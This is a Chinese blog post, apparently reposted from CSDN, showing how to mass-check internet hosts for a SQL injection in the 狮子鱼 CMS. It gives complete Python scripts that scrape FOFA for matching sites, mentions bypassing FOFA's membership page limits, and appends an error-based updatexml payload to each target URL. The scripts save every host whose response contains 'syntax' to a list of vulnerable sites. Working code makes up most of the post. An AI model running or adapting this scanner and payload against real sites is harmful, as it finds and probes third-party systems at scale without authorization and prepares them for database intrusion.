开发实战(6)--对fofa收集的漏洞资产使用poc进行批量验证

简介: 主要还是围绕渗透测试的流程进行开发,一般在信息收集后,在渗透测试后,在发现通用型漏洞时,我们为了节省时间,可以通过写批量脚本来信息收集,然后使用poc来进行批量验证,本篇是一个编写批量验证python的示例.

前言

版权声明:本文为本博主在CSDN的原创文章搬运而来,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。                            

原文链接:https://blog.csdn.net/weixin_72543266/article/details/138048042

       主要还是围绕渗透测试的流程进行开发,一般在信息收集后,在渗透测试后,在发现通用型漏洞时,我们为了节省时间,可以通过写批量脚本来信息收集,然后使用poc来进行批量验证.

       紧接着上一篇文章西了一个使用fofa脚本突破注册会员限制进行信息爬取.但是对收集的CVE-2019-2725 weblogic 未授权远程代码的信息进行批量验证时发现,收集的信息居然一个漏洞都没有

可能是因为漏洞出现太早了被别人刷没了,所以没有了,所以用之前写的狮子鱼批量监测作为演示吧,算是一个编写通用脚本的演示,这个现在漏洞存在还挺多的

1.FOFA收集漏洞信息语法:

1.1.收集语法及解释

     这里解释一下语法的意思,其实是搜索,URL出含有下面语句的资产,狮子鱼的开发时的特征

"/seller.php?s=/Public/login"

image.gif

image.gif 编辑  

1.2.构造XPath匹配

image.gif

这里直接构造xpath提取

//span[@class="hsxa-host"]/a/@href


1.3.进行fofa一页的信息收集  

这个是怎么写的,以及,如何突破注册会员限制进行超过5页的信息爬取,在我上一篇文章中有提及

# -*- coding: utf-8 -*-
import requests
import base64
from lxml import etree
fofa_url = 'https://fofa.info/result?qbase64='
search_worlds = '"/seller.php?s=/Public/login"'
search_worlds_base64 = base64.b64encode(search_worlds.encode('utf-8')).decode('utf-8')
url = str(fofa_url + search_worlds_base64)
# print(url)
# 使用verify=false会出现waring警告,去掉警告用下面这条语句
requests.packages.urllib3.disable_warnings()
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0',
    'Cookie': ''  # 填入自己的cookie,不知道看我上一篇文章怎么获得
}
result = requests.get(url, headers=headers, verify=False)
# data = result.content.decode('utf-8')
# 虽然还是会导致出现的返回的文本中出现乱码,但是可以进行处理
data = result.content.decode('gbk', errors='ignore')
# print(data)
html = etree.HTML(data)
# IPaddrs = html.xpath('//div[@class="hsxa-meta-data-item"]/div[@class="hsxa-clearfix hsxa-meta-data-list-revision-lv1"]/div[@class="hsxa-fl hsxa-meta-data-list-lv1-lf"]/span[@class="hsxa-host"]/text()')
IPaddrs = html.xpath('//span[@class="hsxa-host"]/a/@href')
print(IPaddrs)

image.gif

image.gif

2.登录界面

2.1后台登录界面(一般)

image.gif

2.2后台登录界面(特殊)

今天测试时,意外发现的不同页面

image.gif

3.编写验证脚本

3.1 熟悉漏洞poc

               看了下面的poc,学过sql注入的师傅肯定很清楚,就是sql里面的报错注入

/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)

image.gif

3.2 如何进行验证呢

直接将漏洞poc与我们上面收集的资产直接进行拼接就可以了,如果出现报错页面,那么代表存在漏洞,但是在今天验证的时候,出现的问题,在第二次验证的时候又消失了,等碰到再改脚本吧

                       看报错页面,关键部分就是出现一个syntax和一个数据库名

image.gif

3.3. 进行编写

我把需要编写的几个部分进行拆分一下,方便学习的师傅进行理解

进行存储验证poc的变量

payload = "/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)"

image.gif

3.1.2.拼接部分

就是将收集的资产与payload进行拼接起来的函数,以及写的headers的作用是避免反爬机制,传入的url是从,收集资产的txt文件中,将每条信息进行传入,然后进行后续的拼接.

def POC(url):
    target_url = url + payload
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) "
                      "Chrome/86.0.4240.111 Safari/537.36",
    }

image.gif

3.1.3.请求与验证部分

       使用try-except的作用是,如果出现超时,或是错误其他一些错误信息时,可以避免,因为爆破而停止对资产的验证,因为验证方式是使用拼接代表使用get请求进行请求,下面就是将前面写的构造好的url,请求头,以及超时填入.用了if判断是通过判断,前面图中,出现爆破页面后,图中出现明显的sql注入报错词syntax,后确定为存在报错注入,避免因为其他报错,而出现误报,其他错误就显示请求失败.

try:
        response = requests.get(url=target_url, headers=headers, verify=False, timeout=10)
        print("正在测试:", target_url)
        if "syntax" in response.text:
            print("上述地址存在SQL注入")
            return url
    except Exception as e:
        print("请求失败!")

image.gif

 3.1.4.传入与保存

     通过个人比较喜欢使用的with--open格式进行编写,其实是为了避免遗忘关闭文件,下面就是将资产中存在请求协议的资产进行传入,进行拼接,当然对于没有的资产,我其实是写了一个脚本进行处理的,因为我写的通过fofa搜集的资产是没有请求协议的.最后,将返回结果不为空的存在漏洞资产进行保存.

with open("狮子鱼SQL.txt", "r") as f:
        results = f.readlines()
    for result in results:
        if ("http" or "https") in result:
            url = result.strip()
            SQL = POC(url)
            with open("存在狮子鱼SQL注入.txt", "a+") as f:
                if "None" not in str(SQL):
                    f.write(str(SQL) + "\n")

image.gif

 3.1.5.对fofa收集的狮子鱼资产进行筛选和处理

# 链接处理脚本
# 打开要处理的文件
with open("url.txt", "r") as f:
    # 进行处理后进行存储的文本
    f1 = open("new_url.txt", "w")
    for url in f:
        if url.startswith("https"):
            # 包含协议的ip
            # 将url进行分割,取出协议部分,去除端口部分,并添加"/",最后去掉没一行的换行
            new_url = ((url.split(":")[0] + ":" + url.split(":")[1]).strip() + "/").strip()
            # print(new_url)
            #
            f1.write(new_url + "\n")
        else:
            # 给不含协议的ip,去除端口部分,并添加协议和"/"
            # 这里因为在组成http协议的链接后会自动换行,所以先去掉换行,然后进行组成
            new_url = (("http://" + url.split(":")[0]).strip() + "/").strip()
            # print(new_url)
            f1.write(new_url + "\n")
print("!!!链接已处理完毕!!!")

其中url.txt中就是是用我写的fofa脚本进行收集的资产,新的是处理后的资产

 3.1.5.完整代码

# -*- coding:utf-8 -*-
import requests
import urllib3
urllib3.disable_warnings()  # 忽略https证书告警
payload = "/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)"
def POC(url):
    target_url = url + payload
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) "
                      "Chrome/86.0.4240.111 Safari/537.36",
    }
    try:
        response = requests.get(url=target_url, headers=headers, verify=False, timeout=10)
        print("正在测试:", target_url)
        if "syntax" in response.text:
            print("上述地址存在SQL注入")
            return url
    except Exception as e:
        print("请求失败!")
if __name__ == '__main__':
    with open("狮子鱼SQL.txt", "r") as f:
        results = f.readlines()
    for result in results:
        if ("http" or "https") in result:
            url = result.strip()
            SQL = POC(url)
            with open("存在狮子鱼SQL注入.txt", "a+") as f:
                if "None" not in str(SQL):
                    f.write(str(SQL) + "\n")

image.gif

总结

 对收集的漏洞信息进行批量监测的一个通用脚本,本质是可以做一个通用的漏洞批量监测的通用模板,可惜的是没有成功获得可以进行测试的weblogic的资产,但是还是发现狮子鱼确实漏洞资产很多可以进行验证.

相关文章
|
8月前
|
安全 前端开发 数据安全/隐私保护
BurpSuite进阶篇--自动化挖掘越权漏洞
BurpSuite进阶篇--自动化挖掘越权漏洞
353 0
|
监控 安全 JavaScript
【web渗透思路】框架敏感信息泄露(特点、目录、配置)
【web渗透思路】框架敏感信息泄露(特点、目录、配置)
531 0
【web渗透思路】框架敏感信息泄露(特点、目录、配置)
|
算法 安全 关系型数据库
阿里云SDDP(敏感数据保护)测试调研
海量数据的使用正在为企业创造越来越多的价值,与此同时,数据也正成为企业的核心资产;如何在对数据高效使用的同时,确保数据的安全,尤其是敏感数据的安全,是一个重要的安全课题,也是很多企业的核心诉求。本次对阿里云SDDP(敏感数据保护)产品进行了测试调研。
4379 0
|
4天前
|
XML 安全 网络安全
开发实战(5)--如何编写fofa脚本进行资产的信息收集
主要还是围绕渗透测试的流程进行开发,一般在信息收集后,在渗透测试后,在发现通用型漏洞时,我们为了节省时间,可以通过写批量脚本来信息收集,然后使用poc来进行批量验证. 作为一个fofa工程师,那么我们当然是使用fofa进行信息搜集喽,刚好也借着这个机会熟悉一下fofa的API文档,为后面写利用工具做好铺垫
|
4天前
|
存储 监控 安全
BRC铭文交易所系统开发详情指南丨步骤需求丨方案项目丨功能说明丨源码程序
BRC铭文合约系统是一个基于区块链技术的智能合约系统,用于管理和执行BRC铭文合约。
|
10月前
LIS系统源码:涵盖实验室的全部管理流程,包括从检验申请、标本采集、实验检测、报告发布等
1)与HIS系统无缝对接,共享缴费信息,生成检验申请单。 2)通过条形码、手工添加、电子申请单等多种方式录入样本。 3)自动接收检验结果,并根据患者的标本、年龄、性别等判断结果异常状态。 4)危急值提示,批量审核、打印,质控样本等功能协助医生更好的开展检验工作。 5)操作多台设备,自由切换,和操作单台设备一样。
|
8月前
|
Web App开发 JSON 安全
【漏洞复现】Yapi接口管理平台远程代码执行漏洞
Yapi接口管理平台远程代码执行漏洞,攻击者可通过特定Payload对目标实施恶意攻击,获取敏感信息,操控服务器指令。
143 1
|
8月前
|
JavaScript 数据安全/隐私保护 Python
Cloudflare的分析流程
Cloudflare的分析流程
227 1
|
监控 安全 机器人
实时监控github上新增的cve和安全工具更新,多渠道推送通知
实时监控github上新增的cve和安全工具更新,多渠道推送通知
775 0
实时监控github上新增的cve和安全工具更新,多渠道推送通知
|
安全
【工具】分析邮箱信息工具emlAnalyzer
在国内我甚至找不到这个工具的中文介绍,可见我们对这方面的轻视,事实上,每年关于邮箱攻击的事件不计其数,因此,我们应该好好了解一番。
432 0